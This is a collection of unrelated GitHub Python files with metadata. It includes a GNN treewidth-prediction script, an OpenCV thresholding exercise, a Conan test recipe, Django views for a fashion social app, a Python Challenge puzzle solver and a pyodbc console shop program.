model.to_device(device)\n    device.use()\n\n    print('\\n--- Prediction by approach1 ---')\n    print('Prob_bound\\tPrune\\tIndex\\t|V|\\t|E|\\ttw(G)\\ttime\\tevaltw\\tprunenum\\tfunccallnum\\tevalGNNtime')\n    # calculation the treewidth of given graphs and evaluation the proposed method and ordinary DP\n    prob_bounds = [0.5, 0.7, 0.9]   # using this bound when deciding whether using the prediction of GNN\n    bounds = [\"upper\", \"lower\", \"both\"]     # using this bound at pruning\n    for prob_bound in prob_bounds:\n        for bound in bounds:\n            output_file = bound + \"_{0:02}_{1}.dat\".format(int(prob_bound * 10), args.model_name)\n            result = [\"ID\\t|V|\\t|E|\\ttw\\ttime\\tevaltw\\tprunenum\\tfunccallnum\\tevalGNNtime\"]\n\n            for idx in range(0, len(dataset.graphs)):\n                print('{0}\\t{1}\\t{2}'.format(prob_bound, bound, idx), end='\\t')\n                eval_graph = dataset.graphs[idx]\n                graphstat = \"{3}\\t{0}\\t{1}\\t{2}\".format(eval_graph.g.number_of_nodes(), eval_graph.g.number_of_edges(), dataset.labels[idx], str(idx).rjust(5))\n                if eval_graph.g.number_of_nodes() > 15:\n                    print()\n                    continue\n                try:\n                    tm, evtw, pn, fcn, evtime = test(eval_graph, model, prob_bound, bound)\n                    res = \"{0}\\t{1}\\t{2}\\t{3}\\t{4}\".format(tm, evtw, pn, fcn, evtime)\n                except TimeoutError:\n                    res = \"TimeOut\"\n                print(graphstat + \"\\t\" + res)\n                result.append(graphstat + \"\\t\" + res)\n            # write results to a file\n            if args.out_to_file:\n                with open(\"./{}/Approach1/\".format(args.out) + output_file, \"w\") as f:\n                    f.write('\\n'.join(result))\n\n    print('\\n--- Prediction by existing algorithm ---')\n    print('Index\\t|V|\\t|E|\\ttw(G)\\ttime\\tevaltw\\tprunenum\\tfunccallnum\\tevalGNNtime')\n    output_file = \"exist_{0}.dat\".format(args.model_name)\n    result = [\"ID\\t|V|\\t|E|\\ttw\\ttime\\tevaltw\\tfunccallnum\"]\n\n    for idx in range(0, len(dataset.graphs)):\n        eval_graph = dataset.graphs[idx]\n        graphstat = \"{3}\\t{0}\\t{1}\\t{2}\".format(eval_graph.g.number_of_nodes(), eval_graph.g.number_of_edges(), dataset.labels[idx], str(idx).rjust(5))\n        print('{0}\\t{1}\\t{2}\\t{3}'.format(str(idx).rjust(5), eval_graph.g.number_of_nodes(), eval_graph.g.number_of_edges(), dataset.labels[idx]), end='\\t')\n        try:\n            tm, evtw, fcn = ordinaryDP(eval_graph)\n            res = \"{0}\\t{1}\\t{2}\".format(tm, evtw, fcn)\n        except TimeoutError:\n            res = \"TimeOut\"\n        print(res)\n        result.append(graphstat + \"\\t\" + res)\n\n    # write results to a file\n    if args.out_to_file:\n        with open(\"./{}/Approach1/\".format(args.out) + output_file, \"w\") as f:\n            f.write('\\n'.join(result))\n\n\ndef approach_2(args):\n    if args.model_name == './pretrained_models/sum_sum_binary.model':\n        # change the default model for regression\n        args.model_name = \"./pretrained_models/sum_sum_regression.model\"\n\n    device = chainer.get_device(args.device)\n\n    # load the trained model, model attributes and graph dataset\n    with open('{}_stat'.format(args.model_name), mode='rb') as f:\n        model_args = pickle.load(f)\n\n    dataset = util.GraphData(\"mixed\", model_args.feat_init_method, \"Regression\", args.data_num, device)\n    # convert tuple dataset to graphs and targets\n    graphs, targets = dataset.converter(dataset, device)\n\n    model = GNN(model_args.num_layers, model_args.num_mlp_layers, dataset.graphs[0].node_features.shape[1],\n                model_args.hidden_dim, dataset.graphs[0].node_features.shape[1], model_args.final_dropout,\n                model_args.graph_pooling_type, model_args.neighbor_pooling_type, model_args.task_type)\n    chainer.serializers.load_npz(args.model_name, model)\n\n    model.to_device(device)\n    device.use()\n\n    print('\\n--- Prediction by approach2 ---')\n\n    # predict treewidth\n    eval_st = time.time()\n    with chainer.using_config('train', False), chainer.using_config('enable_backprop', False):\n        raw_output = model(graphs)\n        prediction = np.round(raw_output.array).reshape(len(raw_output))\n    eval_time = time.time() - eval_st\n\n    # calculate some stats\n    print('# of graphs\\t{0}'.format(str(len(graphs)).rjust(5)))\n    print('Execution time\\t{0}'.format(eval_time))\n    print('Execution time per each graphs\\t{0}'.format(eval_time / len(graphs)))\n    print('Mean Absolute Error\\t{0}'.format(sklearn.metrics.mean_absolute_error(targets, prediction)))\n    print('Max Error\\t{0}'.format(sklearn.metrics.max_error(targets, prediction)))\n\n    # output the scatter plot\n    sns.set_style(\"whitegrid\", {'grid.linestyle': '--'})\n\n    df = pd.DataFrame({\"Real Value\": targets, \"Predict Value\": prediction})\n    g = sns.jointplot(df[\"Real Value\"], df[\"Predict Value\"])\n    g.ax_joint.plot([49, 1], [49, 1], ':k')\n    # Please make this directory before run this code...\n    plt.savefig('./{0}/Approach2/scatter.png'.format(args.out))\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser(description='Prediction of Treewidth Using Graph Neural Network')\n    parser.add_argument('--device', '-d', type=int, default='-1',\n                        help='Device specifier. Either ChainerX device '\n                        'specifier or an integer. If non-negative integer, '\n                        'CuPy arrays with specified device id are used. If '\n                        'negative integer, NumPy arrays are used')\n    parser.add_argument('--out', '-o', default='result',\n                        help='Directory to output the result')\n    parser.add_argument('--out_to_file', action='store_true',\n                        help='output the results')\n    parser.add_argument('--model_name', default='./pretrained_models/sum_sum_binary.model', help='choose trained model you want to use')\n    parser.add_argument('--task_type', type=str, default='approach1', choices=['approach1', 'approach2'],\n                        help='Which approach do you want to use')\n    parser.add_argument('--data_num', type=int, default=100, help='the number of graphs you want to calculate treewidth')\n    group = parser.add_argument_group('deprecated arguments')\n    group.add_argument('--gpu', '-g', dest='device', type=int, nargs='?', const=0, help='GPU ID (negative value indicates CPU)')\n    args = parser.parse_args()\n\n    if args.task_type == \"approach1\":\n        approach_1(args)\n    else:\n        approach_2(args)\n","repo_name":"pfnet-research/treewidth-prediction","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":19103,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"77"}
+{"seq_id":"5070608999","text":"# -*- encoding: utf-8 -*-\nimport cv2 as cv\nimport numpy as np\n\n\ndef main():\n    img = cv.imread('../assets/sample_2.jpg')\n    b = img[:, :, 0].copy()\n    g = img[:, :, 1].copy()\n    r = img[:, :, 2].copy()\n    out = 0.0722 * b + 0.7152 * g + 0.2126 * r\n    out = out.astype(np.uint8)\n    out[out < 128] = 0\n    out[out >= 128] = 255\n    cv.imshow('', out)\n    cv.waitKey(0)\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"befallenStar/opencv","sub_path":"question1-10/3.thresholding.py","file_name":"3.thresholding.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"31954824125","text":"from conan import ConanFile\nfrom conan.tools.files import save\nimport os\n\n\nclass TestPackageConan(ConanFile):\n    settings = \"os\", \"arch\", \"compiler\", \"build_type\"\n    generators = \"VirtualBuildEnv\"\n    test_type = \"explicit\"\n\n    def build_requirements(self):\n        self.tool_requires(self.tested_reference_str)\n\n    def test(self):\n        save(self, \"file.txt\", \"some text\")\n        assert not os.path.isdir(\"destionation\")\n        self.run(\"nsinstall -D destination\")\n        assert os.path.isdir(\"destination\")\n        assert not os.path.isfile(os.path.join(\"destination\", \"file.txt\"))\n        self.run(\"nsinstall -t -m 644 file.txt destination\")\n        assert os.path.isfile(os.path.join(\"destination\", \"file.txt\"))\n","repo_name":"conan-io/conan-center-index","sub_path":"recipes/mozilla-build/all/test_package/conanfile.py","file_name":"conanfile.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":835,"dataset":"github-code","pt":"77"}
+{"seq_id":"31547579595","text":"from django.shortcuts import render\nfrom django.http import HttpResponse, HttpResponseRedirect, JsonResponse\nfrom django.apps import apps\nfrom django.conf import settings\nfrom django.core import serializers\nfrom django.db.models import F\nfrom django.db.models import Q\nfrom django.template.loader import render_to_string\nfrom django.contrib.postgres.search import SearchQuery, SearchRank, SearchVector\nimport getch.models as m\n# import getch.serializers as ser\n# from rest_framework.renderers import JSONRenderer\nfrom rest_framework.response import Response\nfrom notifications.signals import notify\nimport os\nimport json\n\n# styletags = {t.id:t.tag for t in m.Styletag.objects.all()}\n# fashiontems = {t.id:t.item for t in m.Fashiontem.objects.all()}\n\n# labels = {\n#     'gender': {l.id:{ 'key':l.key, 'label':l.label } for l in m.Genderlabel.objects.all()},\n#     'age': {l.id:{ 'key':l.key, 'label':l.label } for l in m.Agelabel.objects.all()},\n#     'body': {l.id:{ 'key':l.key, 'label':l.label } for l in m.Bodylabel.objects.all()},\n#     'style': {l.id:{ 'key':l.key, 'label':l.label } for l in m.Stylelabel.objects.all()},\n#     'item': {l.id:{ 'key':l.key, 'label':l.label } for l in m.Itemlabel.objects.all()}\n# }\n\nlabels = {\n    'gender': list(m.Genderlabel.objects.order_by('key').values('id', 'label')),\n    'age': list(m.Agelabel.objects.order_by('key').values('id', 'label')),\n    'body': list(m.Bodylabel.objects.order_by('key').values('id', 'label')),\n    'style': list(m.Stylelabel.objects.order_by('key').values('id', 'label')),\n    'item': list(m.Itemlabel.objects.order_by('key').values('id', 'label'))\n}\n\n# stats = {\n#     'total_nboos': m.Boo.objects.count(),\n#     'total_nposts': m.Post.objects.count(),\n#     'total_nfollowers': m.Flager.objects.filter(status=m.FOLLOW).count(),\n# }\n\n# anonyboo = m.Boo.objects.get(pk=m.BOO_DELETED)\n# context = {'stats':stats, 'labels':labels, 'styletags':styletags, 'fashiontems':fashiontems}#, 'anonyboo':anonyboo.serialized}\ncontext = { 'labels':labels } #, 'anonyboo':anonyboo.serialized}\n\n\ndef test(request):\n    return render(request, 'getch/test.html')\n\ndef policy(request):\n    return render(request, 'getch/policy.html')\n\ndef privacy(request):\n    return render(request, 'getch/privacy.html')\n\ndef recruit(request):\n    return render(request, 'getch/recruit.html')\n\ndef load(request, ctx):\n    if request.user.is_staff:\n        ctx['utype'] = 'staff'\n\n    else:\n        ctx['utype'] = 'general'\n\n    return render(request, 'getch/play.html', ctx)\n\ndef play(request):\n    # notify.send(request.user, recipient=request.user, verb='you reached level 10')\n    context['req'] = 0\n    return load(request, context)\n\n\ndef company(request):\n    context['req'] = 1\n    return load(request, context)\n\ndef company_recruit(request):\n    context['req'] = 2\n    return load(request, context)\n\ndef landing(request):\n    context['req'] = 3\n    return load(request, context)\n\ndef testbed(request):\n    context['req'] = 5\n    return load(request, context)\n\ndef testfeed(request):\n    context['req'] = 6\n    return load(request, context)\n\n# def memb(request):\n#     ctx = {'stats':stats, 'labels':labels, 'styletags':styletags, 'fashiontems':fashiontems, 'anonyboo':anonyboo.serialized, 'req':6}\n#     return render(request, 'getch/play.html', ctx)\n\n\ndef get_user(request):\n    if request.user.is_authenticated:\n        if request.user.has_active_boo:\n            return JsonResponse({'success':True, 'user':request.user.serialized}, safe=False)\n        else:\n            request.user.create_default_boo()\n            return JsonResponse({'success':True, 'user':request.user.serialized, 'first_visit':True}, safe=False)\n\n        # return JsonResponse({'success':True, 'user':request.user.serialized}, safe=False)\n    else:\n        return JsonResponse({'success':False})\n\n\ndef get_iposts(request, type):\n    # excludes = Q(boo_id=m.BOO_DELETED) | (Q(boo__user_id=m.hidden_user) & Q(boo__nick=m.hidden_boo_nick))\n    #\n    # if type == 'history':\n    #     _iposts = m.Post.objects.exclude(excludes).order_by('-created_at').values_list('id', flat=True)\n    #     # _iposts = m.Post.objects.exclude(boo_id=m.BOO_DELETED, boo__user__email=m.hidden_user_email).order_by('-created_at').values_list('id', flat=True)\n    #\n    # elif type == 'hot':\n    #     _iposts = m.Post.objects.exclude(excludes).annotate(ordering=F('nvotes_up') + F('nvotes_down')).order_by('-ordering').values_list('id', flat=True)\n    #     # _iposts = m.Post.objects.exclude(boo_id=m.BOO_DELETED).annotate(ordering=F('nvotes_up') + F('nvotes_down')).order_by('-ordering').values_list('id', flat=True)\n    #\n    # return JsonResponse({'success':True, 'idlist':list(_iposts)}, safe=False)\n    _iposts = m.Post.iposts(type)\n    return JsonResponse({'success':True, 'idlist':list(_iposts)}, safe=False)\n\n\ndef get_post(request, post_id):\n    try:\n        _post = m.Post.objects.get_subclass(pk=post_id)\n        _post = m.PostSerializer(_post).data\n        return JsonResponse({'success':True, 'content':_post}, safe=False)\n\n    except:\n        return JsonResponse({'success':False}, safe=False)\n\n\ndef get_ibooposts(request, boo_id, type):\n    try:\n        _boo = m.Boo.objects.get(pk=boo_id)\n        return JsonResponse({'success':True, 'idlist':_boo.iposts(type)}, safe=False)\n\n    except:\n        return JsonResponse({'success':False}, safe=False)\n\n\ndef get_ifollowers(request, boo_id):\n    try:\n        _boo = m.Boo.objects.get(pk=boo_id)\n        # print('*********************', _boo.followers_id)\n        return JsonResponse({'success':True, 'idlist':_boo.followers_id}, safe=False)\n\n    except:\n        return JsonResponse({'success':False}, safe=False)\n\n\ndef get_boopost(request, post_id):\n    try:\n        _post = m.Post.objects.get_subclass(pk=post_id)\n        # 내페이지에서 내가 작성하지 않은 포스트를 가져오는 경우가 있어서, PostSerializer로 바꿨다\n        # 2020.12.07\n        _post = m.PostSerializer(_post).data\n        # _post = m.BoopostSerializer(_post).data\n        return JsonResponse({'success':True, 'content':_post}, safe=False)\n\n    except:\n        return JsonResponse({'success':False}, safe=False)\n\n\ndef get_icomments(request, post_id):\n    try:\n        _icomments = m.Comment.objects.filter(post_id=post_id, boo__isnull=False).values_list('id', flat=True)\n        return JsonResponse({'success':True, 'idlist':list(_icomments)}, safe=False)\n\n    except:\n        return JsonResponse({'success':False}, safe=False)\n\n\ndef get_comment(request, comment_id):\n    try:\n        _comment = m.Comment.objects.get(pk=comment_id)\n        _comment = m.CommentSerializer(_comment).data\n        return JsonResponse({'success':True, 'content':_comment}, safe=False)\n\n    except:\n        return JsonResponse({'success':False}, safe=False)\n\n\ndef get_ivoters(request, post_id, act):\n    try:\n        _ivoters = m.Flager.objects.filter(object_id=post_id, status=act).values_list('user_id', flat=True)\n        return JsonResponse({'success':True, 'idlist':list(_ivoters)}, safe=False)\n\n    except:\n        return JsonResponse({'success':False}, safe=False)\n\n\ndef get_voter(request, boo_id):\n    try:\n        _voter = m.Boo.objects.get(pk=boo_id)\n        _voter = m.BasebooSerializer(_voter).data\n        return JsonResponse({'success':True, 'content':_voter}, safe=False)\n\n    except:\n        return JsonResponse({'success':False}, safe=False)\n\n\ndef get_follower(request, boo_id):\n    try:\n        _follower = m.Boo.objects.get(pk=boo_id)\n        _follower = m.BasebooSerializer(_follower).data\n        return JsonResponse({'success':True, 'content':_follower}, safe=False)\n\n    except:\n        return JsonResponse({'success':False}, safe=False)\n\n\ndef other_boos(request):\n    return JsonResponse({'success':True, 'other_boos':request.user.other_boos}, safe=False)\n\n\ndef _labels_update(boo, labels):\n    for k, v in labels.items():\n        for _k, _v in v.items():\n            if _k=='add':\n                getattr(boo, k).add(*_v)\n            if _k=='remove':\n                getattr(boo, k).remove(*_v)\n\ndef boo_save(request):\n    if request.method=='POST':\n        print(request.POST, request.FILES)\n        _on_creating = request.POST.get('on_creating', None)\n        _labels = request.POST.get('labels', None)\n        # _links = request.POST.get('links', None)\n        _boo_text = request.POST.get('boo_text', None)\n        _boo_nick = request.POST.get('boo_nick', None)\n        _profilepix = request.FILES.get('profilepix', None)\n        # return\n\n        try:\n            # _on_creating이 있다면 그건 사실 문자열 'true' 이다\n            # 그래도 if _on_creating 에서 걸러지기에, json.loads 처리를 안했다\n            if _on_creating:\n                boo = m.Boo.objects.create(user=request.user)\n            else:\n                boo = request.user.boo\n\n            # if _links:\n            #     _links = json.loads(_links)\n            #     links = set(boo.links_list) #| set(_links['add'])) - set(_links['remove'])\n            #\n            #     if 'add' in _links:\n            #\n            #         # ilinks = boo.user.link_set.values_list('id', flat=True)\n            #         # for iadd in _links['add']:\n            #         #     if iadd not in ilinks:\n            #         #         print(iadd)\n            #         #\n            #         # return\n            #         links |= set(_links['add'])\n            #\n            #     if 'remove' in _links:\n            #         links -= set(_links['remove'])\n            #\n            #     boo.links = ','.join(map(str, list(links)))\n            #     boo.save()\n\n            if _labels:\n                _labels_update(boo, json.loads(_labels))\n\n            if _boo_text:\n                boo.text = _boo_text\n                boo.save()\n\n            if _boo_nick:\n                boo.nick = _boo_nick\n                boo.save()\n\n            if _profilepix:\n                profile = boo.profile\n                profile.pix = _profilepix\n                profile.save()\n\n            if _on_creating:\n                request.user.set_boo(boo.id)\n                return JsonResponse({'success':True, 'boo_id':boo.id, 'message':'boo created successfully'}, safe=False)\n\n            else:\n                return JsonResponse({'success':True, 'message':'boo updated successfully'}, safe=False)\n\n        except:\n            return JsonResponse({'success':False, 'message':'something wrong while boo saving'}, safe=False)\n\n\ndef link_add(request):\n    try:\n        _url = request.POST.get('url', None)\n        _link = m.Link.objects.create(user=request.user, url=_url)\n        return JsonResponse({'success':True, 'link_id':_link.id}, safe=False)\n\n    except:\n        return JsonResponse({'success':False, 'message':'something wrong while link adding'}, safe=False)\n\n\ndef vote(request, post_id):\n    action = request.GET.get('action', None)\n    fit = request.user.boo.fit\n\n    if action:\n        post = m.Post.objects.get(pk=post_id)\n        post.vote(int(action))\n        return JsonResponse({'success':True, 'action':action, 'fit':fit}, safe=False)\n\n    else:\n        return JsonResponse({'success':False}, safe=False)\n\n\n\ndef set_boo(request, boo_id):\n    try:\n        request.user.set_boo(boo_id)\n        return JsonResponse({'success':True}, safe=False)\n\n    except:\n        return JsonResponse({'success':False}, safe=False)\n\n\ndef follow(request, boo_id):\n    try:\n        request.user.boo.follow(boo_id)\n        return JsonResponse({'success':True}, safe=False)\n\n    except:\n        return JsonResponse({'success':False}, safe=False)\n\n\ndef unfollow(request, boo_id):\n    try:\n        request.user.boo.unfollow(boo_id)\n        return JsonResponse({'success':True}, safe=False)\n\n    except:\n        return JsonResponse({'success':False}, safe=False)\n\n\ndef like_comment(request, comment_id):\n    try:\n        comment = m.Comment.objects.get(pk=comment_id)\n        # print(comment)\n        comment.like(request.user.boo)\n        return JsonResponse({'success':True, 'message':'Comment liked successfully'}, safe=False)\n\n    except:\n        return JsonResponse({'success':False, 'message':'Something wrong when liking comment'}, safe=False)\n\n\ndef delike_comment(request, comment_id):\n    try:\n        comment = m.Comment.objects.get(pk=comment_id)\n        comment.delike(request.user.boo)\n        return JsonResponse({'success':True, 'message':'Comment deliked successfully'}, safe=False)\n\n    except:\n        return JsonResponse({'success':False, 'message':'Something wrong when deliking comment'}, safe=False)\n\n\ndef boo_profilepix(request, boo_id):\n    _boo = m.Boo.objects.get(pk=boo_id)\n    return JsonResponse({'success':True, 'pix':_boo.profile.pix.url}, safe=False)\n\n\ndef post_delete(request, post_id):\n    try:\n        post = m.Post.objects.get_subclass(pk=post_id)\n        post.delete()\n        return JsonResponse({'success':True, 'message':'post deleted successfully'}, safe=False)\n\n    except:\n        return JsonResponse({'success':False, 'message':'something wrong while deleting post'}, safe=False)\n\n\ndef voters(request, post_id):\n    try:\n        post = m.Post.objects.get(pk=post_id)\n        return JsonResponse({'success':True, 'voters':post.voters}, safe=False)\n\n    except:\n        return JsonResponse({'success':False}, safe=False)\n\n\ndef profile_delete(request):\n    try:\n        request.user.delete_boo()\n        return JsonResponse({'success':True, 'message':'boo deleted successfully'}, safe=False)\n\n    except:\n        return JsonResponse({'success':False, 'message':'something wrong while deleting boo'}, safe=False)\n\n\n\ndef comment_save(request):\n    if request.method == 'POST':\n        print(request.POST, request.FILES)\n        post_id = request.POST.get('post_id', None)\n        text = request.POST.get('text', None)\n        id = request.POST.get('id', None)\n        mention_id = request.POST.get('mention_id', None)\n        attached = request.FILES.get('attached', None)\n        # return\n\n        # if text and post_id:\n        if post_id:\n            if id:\n                comment = m.Comment.objects.get(pk=id)\n\n                if text:\n                    comment.text = text\n\n                if mention_id:\n                    comment.mention = m.Boo.objects.get(id=mention_id)\n\n                comment.save()\n\n            else:\n                comment = m.Comment(boo=request.user.boo, post_id=post_id)\n\n                if text:\n                    comment.text = text\n\n                if mention_id:\n                    comment.mention = m.Boo.objects.get(id=mention_id)\n                    # comment = m.Comment.objects.create(boo=request.user.boo, post_id=post_id, text=text, mention_id=mention_id)\n\n                # else:\n                #     comment = m.Comment.objects.create(boo=request.user.boo, post_id=post_id, text=text)\n\n                comment.save()\n\n                if attached:\n                    commentpix = m.Commentpix.objects.create(comment_id=comment.id, img=attached)\n\n\n            return JsonResponse({'success':True, 'message':'successfully commented', 'comment_id':comment.id}, safe=False)\n\n        else:\n            return JsonResponse({'success':False, 'message':'something wrong on commenting'}, safe=False)\n\n\n\ndef post_save(request):\n    if request.method == 'POST':\n        print(request.POST, request.FILES)\n\n        post_id = request.POST.get('post_id', None)\n        post_type = request.POST.get('type', None)\n        text = request.POST.get('text', None)\n        keys = request.POST.get('keys', None)\n        pix = request.FILES.get('pix', None)\n        pix_a = request.FILES.get('pix_a', None)\n        pix_b = request.FILES.get('pix_b', None)\n        pixlabel_a = request.POST.get('pixlabel_a', None)\n        pixlabel_b = request.POST.get('pixlabel_b', None)\n\n        if post_id:\n            mode = 'edited'\n            post = m.Post.objects.get_subclass(pk=post_id)\n\n        else:\n            mode = 'created'\n            postmodel = apps.get_model(app_label='getch', model_name=post_type)\n            post = postmodel(boo=request.user.boo)\n\n        if text:        post.text = text\n        if keys:        post.keys = keys\n        if pix:         post.pix = pix\n        if pix_a:       post.pix_a = pix_a\n        if pix_b:       post.pix_b = pix_b\n        if pixlabel_a:  post.pixlabel_a = pixlabel_a\n        if pixlabel_b:  post.pixlabel_b = pixlabel_b\n        post.save()\n\n        if mode == 'edited':\n            js = {'success':True, 'mode':mode}\n\n        elif mode == 'created':\n            # _post = m.PostSerializer(post).data\n            js = {'success':True, 'mode':mode, 'post_id':post.id}\n            # js = {'success':True, 'mode':mode, 'post':_post}\n            # post_created = render_to_string('getch/post.html', {'post':post, 'type':post_type})\n            # js = {'success':True, 'mode':mode, 'post_id':post.id, 'post_created':post_created}\n\n        return JsonResponse(js, safe=False)\n\n\ndef network(request, boo_id):\n    boo = m.Boo.objects.get(pk=boo_id)\n    return JsonResponse({'success':True, 'network':boo.network}, safe=False)\n\n\n# def boo_new(request):\n#     boo = m.Boo.objects.create(user=request.user)\n#     request.user.set_boo(boo.id) # 새로 생성한 부캐를 선택하는 것이 디폴트\n#     return JsonResponse({'success':True, 'boo':boo.serialized}, safe=False)\n\n\ndef search(request, keywords):\n    n = 20\n    # q = request.GET.get('q', None)\n\n    try:\n        vector = SearchVector('text', 'boo__nick', 'boo__text')\n        query = SearchQuery(keywords)\n        _searched = m.Post.objects.exclude(boo_id=m.BOO_DELETED).annotate(rank=SearchRank(vector, query)).order_by('-rank')[:n]\n        # print(_searched)\n        _searched = _searched.values_list('id', flat=True)\n        return JsonResponse({'success':True, 'idlist':list(_searched), 'message':'searched successfully'}, safe=False)\n\n    except:\n        return JsonResponse({'success':False, 'message':'something wrong while searching'}, safe=False)\n","repo_name":"gem763/maskplay","sub_path":"getch/old/views 20210201.py","file_name":"views 20210201.py","file_ext":"py","file_size_in_byte":17959,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"3290738217","text":"banner=\"http://www.pythonchallenge.com/pc/def/banner.p\"\n\ndir=\".\\\\Data\\\\005\"\nimport helper\nhelper.ensureDir(dir)\n\nimport urllib.request\n(filename,headers)=urllib.request.urlretrieve(banner,dir+'\\\\banner.p')\n\nimport pickle\ndata=pickle.Unpickler(open(filename,'rb')).load()\n\n# print(data)\n\nfor line in data:\n    for tupleitem in line:\n        print(tupleitem[0]*tupleitem[1],end='')\n    print('')\n\n# ================================\n# without pickle\nfp=open(filename,'r')\nlines=fp.readlines()\nfp.close()\n\nimport re\nreln=re.compile('aa')\nrenum=re.compile('^I([0-9]*)')\nrechsharp=re.compile(\"S'#'|g6\")\nrechspace=re.compile(\"S' '|g2\")\n\nfor line in lines:\n    if reln.search(line) != None:\n        print('\\n',end='')\n        continue\n    if rechsharp.search(line) != None:\n        ch='#'\n        continue\n    if rechspace.search(line) != None:\n        ch=' '\n        continue\n    if renum.search(line) != None:\n        num=renum.search(line).group(1)\n        print(ch*int(num),end='')\n        continue\n# ================================","repo_name":"3gbywork/PythonChallengeStrategy","sub_path":"src/static/Code/Python/Challenge005.py","file_name":"Challenge005.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"41404861264","text":"import pyodbc\r\nimport MyClass.ClsDataOperation as opr\r\nimport MyClass.ProductModel as ModelProduct\r\nimport MyClass.InvoiceDetailsModel as ModelItem\r\nimport MyClass.InvoiceSalesModel as ModelMain\r\n\r\nfrom enum import Enum, unique\r\nimport numpy as np\r\n@unique\r\nclass Operation(Enum):\r\n    GetAll = 1\r\n    ById = 2\r\n    ByName = 3\r\n    Find = 4\r\n    Update= 5\r\n    Delete=6\r\nclass Color(Enum):\r\n    white=1, \r\n    red =2,\r\n    green =3,\r\n    yellow =4,\r\n    blue =5,\r\n    black =6,\r\n    brown =7,\r\n    grey =8,\r\n    silver =9,\r\n    golden =10,\r\n    orange =11,\r\n    pink =12,\r\n    Milky=13,\r\n\r\nif __name__ == '__main__':\r\n model=ModelProduct\r\n\r\nprint(\"----------------- *************** -------------------------------------\")\r\nprint(\" WellCome to CSU  | Shop Student|    мивт 101 Student :Sallam Mohamed |\")\r\nprint(\"----------------- *************** -------------------------------------\")\r\ntry:\r\n while True:\r\n    print(\"=================================================================================================================\")\r\n    print(\"Press>> 1 GetAll | 2 GetById | 3 GetByName | 4 Find | 5 AddNew | 6 Update | 7 Delete | 8 Sales |9 SalesReport 11 \")\r\n    print(\"-----------------------------------------------------------------------------------------------------------------\\n\\n\")\r\n    line = input()\r\n    if line==\"1\":\r\n       print(\"Get All Product In DataBase\\n\")    \r\n       opr.GetAllProduct()\r\n    elif line==\"2\":\r\n       print(\"Get Product By ProductId\\n\")\r\n       id=input(\"Id:\")\r\n       opr.GetProduct(id)\r\n    elif line==\"3\":\r\n       print(\"Get Product By Name\\n\")\r\n       Pname=input(\"Product Name:\")\r\n       opr.GetByName(Pname)\r\n    elif line==\"4\":\r\n       print(\"Find by Any Part Of Name Or Tradmark\\n\")\r\n       ValueSearch=input(\"Insert Value ToSearch:\")\r\n       opr.Find(ValueSearch)\r\n    elif line==\"5\" or line==\"6\":\r\n        if line==\"6\":\r\n          print(\"To UpdateProduct You Need To Insert Product Id First\\n\")\r\n          model.Id= input(\"Id:\")\r\n        elif line==\"5\":\r\n          print(\"To Add New You Product Insert that Data\\n\")       \r\n        model.ProductName=input(\"Product_Name:\")\r\n        model.ProductType=input(\"ProductType 1 for TShirt 2 for Shoes:\")\r\n        model.TradeMark=input(\"TradeMark:\")\r\n        model.Price= input(\"Price:\")\r\n        model.size=input(\"Size:\")\r\n        model.Color=input(\"white=1 Red =2 green =3 Blue =5 Black =6 Brown =7 Grey =8 silver =9 golden =10 orange =11,pink =12,Milky=13,\\n Insert Color:\")\r\n        if line==\"5\":\r\n            opr.InsertProduct(model)\r\n        elif line==\"6\":\r\n            opr.UpdateProduct(model) \r\n        print('Save Succefully')\r\n    elif line==\"7\":\r\n       print(\"To DeletedProduct You Need To Insert Product Id First\\n\")\r\n       id=input(\"Id:\")\r\n       opr.DeleteProduct(id)\r\n    elif line==\"8\":\r\n       print(\"You are now in POS Point Of Sales Program \\n\")  \r\n       modelitm=ModelItem.InvoiceDetailsModel\r\n       NewIdInvoice= opr.CreateNewInvoice()\r\n       if(NewIdInvoice>0):\r\n          while True: \r\n            print(\"Press a if you Need to AddNew Item \\n\")  \r\n            Line2=input()\r\n            if Line2==\"A\" or Line2==\"a\":                        \r\n                 modelitm.Sales_Id=int(NewIdInvoice)\r\n                 modelitm.Id_Product=int( input(\"Product_Id:\"))\r\n                 modelitm.Price=int(input(\"Price:\"))\r\n                 modelitm.Amount= int(input(\"Amount:\"))\r\n                 opr.AddProductInInvoice(modelitm)\r\n            else:\r\n                modelmaim=ModelMain.Invoice_Main\r\n                modelmaim.PaymentWay=int(input(\"Payment Way 1 for Cash 2 For Cart 3 For Bounce:\"))\r\n                modelmaim.ClientName=input(\"Insert Client Name Or Card No:\")\r\n                modelmaim.Sales_Id=int(NewIdInvoice)\r\n                modelmaim.TotalCost=opr.GetSumInvoice(modelmaim.Sales_Id)\r\n                opr.UpdateMainDataInvoice(modelmaim)\r\n                break   \r\n    elif line==\"9\":\r\n      opr.GetAllInvoicsSales()\r\n    elif line==\"11\":         \r\n         import os\r\n         os.system('cls||clear')\r\n    else:        \r\n        print(\"\\nGood Bay\")\r\n        break \r\nexcept pyodbc.Error as ex:\r\n        sqlstate = ex.args[0]       \r\n        print(sqlstate)\r\n \r\n \r\n \r\n\r\n \r\n \r\n   \r\n\r\n\r\n     \r\n   \r\n","repo_name":"mohamedslam/Python2020","sub_path":"Products/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
